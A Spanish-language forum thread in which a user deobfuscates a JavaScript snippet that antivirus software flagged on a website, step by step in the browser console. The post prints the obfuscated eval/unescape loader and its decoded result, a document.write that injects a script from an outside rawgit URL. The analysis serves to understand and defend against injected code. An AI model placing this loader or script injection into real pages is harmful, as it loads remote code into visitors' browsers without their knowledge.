Desobfuscando un código Javascript

  • Autor Autor zcriptz
  • Fecha de inicio Fecha de inicio
zcriptz

zcriptz

1
Ómicron
Programador
Verificación en dos pasos activada
Verificado por Whatsapp
Suscripción a IA
En el siguiente tema un usuario estaba teniendo problema con un código Javascript porque los antivirus le avisaban que el código de la página web era inseguro .

Para ejecutar el código voy a utilizar la consola del navegador Chrome. (F12)

El código obfuscado es el siguiente:
Insertar CODE, HTML o PHP:
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'));


Primero cambiamos las funciones eval por console.log sino ejecutarán el código obfuscado.

Código a poner en la consola:
Insertar CODE, HTML o PHP:
console.log(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
console.log(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'))

Devuelve:
Insertar CODE, HTML o PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}
document.write(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));

Al principio puede verse una función personalizada de "decifrado" (eb6724a76a) puede verse que luego con document.write se utiliza para así poder escribir (write) ese código "raro".

Así que para poder saber que dice vamos a tener que agregar la función eb6724a76a que nos devolvió el primer código.

document.write es una funcion que escribe en el documento (o sea la página web), así que la reemplazamos por console.log

Código a poner en la consola:
Insertar CODE, HTML o PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}

console.log(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));


Devuelve:
Insertar CODE, HTML o PHP:
<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>


Entonces el resultado final sería:
Insertar CODE, HTML o PHP:
document.write('<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>');

Pone ese archivo Javascript en la web donde se encuentre.
 
Última edición:
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.
 
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.

La consola del navegador. (F12)

Editado y aclarado en el tema! 👍 gracias.
 
Última edición:
  • Me gusta
Reacciones: kj2
Buen aporte ! 🍻
 
Atrás
Arriba